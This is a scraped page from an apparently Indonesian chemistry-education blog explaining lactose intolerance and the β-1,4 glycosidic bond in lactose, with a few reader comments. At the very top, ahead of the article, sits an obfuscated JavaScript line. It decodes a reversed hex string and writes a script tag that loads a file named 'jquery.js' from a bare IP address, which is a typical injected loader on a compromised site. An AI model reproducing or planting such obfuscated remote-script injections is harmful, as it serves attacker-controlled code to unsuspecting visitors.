var _0xaae8=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0xaae8[5]](_0xaae8[4][_0xaae8[3]](_0xaae8[0])[_0xaae8[2]]()[_0xaae8[1]](_0xaae8[0])); Ikatan Kovalen di Balik “Diare” Setelah Minum Susu – Pembelajaran Kimia

Chemistry is everywhere!
Banyak fenomena dalam kehidupan sehari-hari yang tidak bisa lepas dari kimia. Mulai dari yang serius seperti mendesain obat sampai yang terlihat sepele, yaitu diareketika mengonsumsi susu segar atau pasteurisasi. Fenomena diare yang dialami sebagian orang ketika mengonsumsi susu sebenarnya tidak bisa juga dianggap sepele. Faktanya, 60% orang dewasa di dunia ini memang mengalami masalah tersebut. Akibat dari masalah ini ternyata lebih serius,seperti turunnya asupan nutrisi masyarakat.
Tidak perlu diperdebatkan bahwa susu punya nilai nutrisi tinggi. Keterbatasan seseorang mengonsumsi susu karena masalah tersebut berakibat pada tertutupnya peluang mendapatkan asupan nutrisi yang tinggi dari segelas susu. Namun, terlepas dari serius atau tidaknya permasalahan diare akibat mengonsumsi susu, satu hal yang juga tidak banyak kita sadari bahwa ada beberapa aspek kimia dibalik masalah ini.
Lactose intolerance
Dalam bahasa ilmiah, fenomena penyakit diare seseorang setelah minum susu dikenal dengan lactose intolerance (LI). Untuk memahami LI, kita harus mengenal dulu sebuah molekul gula (karbohidrat) disakarida yang ada di dalam susu yang bernama laktosa. Laktosa, sebagaimana halnya disakarida yang lain, tersusun dari dua unit gula sederhana (monosakarida) yaitu glukosa dan galaktosa. Glukosa dan galaktosa tergabung menjadi laktosa lewat sebuah ikatan kovalen yang disebut dengan ikatan glikosidik (glycosidic bond).
Ikatan glikosidik terbentuk antara gugus hemiketal dari salah satu monosakarida dengan gugus hidroksil (OH) dari monosakarida yang lain. Pada laktosa, ikatan ini menghubungkan antara atom karbon nomor 1 (C1) pada gula galaktosa dengan karbon nomor 4 (C4) pada glukosa sehingga disebut dengan β-1,4glycosidic bond. Disebut tipe β, karena posisi OH pada ikatan tersebut berada di atas geometri planar dari molekul gula.

Read more

Categories: Uncategorized

4 Comments

Dhana iswara · December 23, 2017 at 3:07 am

Jika benar susu menyebabkan diare, harusnya diberikan saran dan solusi untuk menghindari kejadian tersebut, atau mungkin bisa memberikan contoh bagaimana bedanya diare biasa karena minum susu dengan diare karena alergi susu. Terima kasih.

    Arohma · December 23, 2017 at 3:41 am

    Sudah ada solusinya bisa baca selengkapnya klik readmore kak. Makasih

Dhana iswara · December 23, 2017 at 3:07 am

Jika benar susu menyebabkan diare, harusnya diberikan saran dan solusi untuk menghindari kejadian tersebut, atau mungkin bisa memberikan contoh bagaimana bedanya diare biasa karena minum susu dengan diare karena alergi susu. Terima kasih.

Mita · December 23, 2017 at 6:43 am

Mantapp infonya membantu sekali

Leave a Reply

Your email address will not be published. Required fields are marked *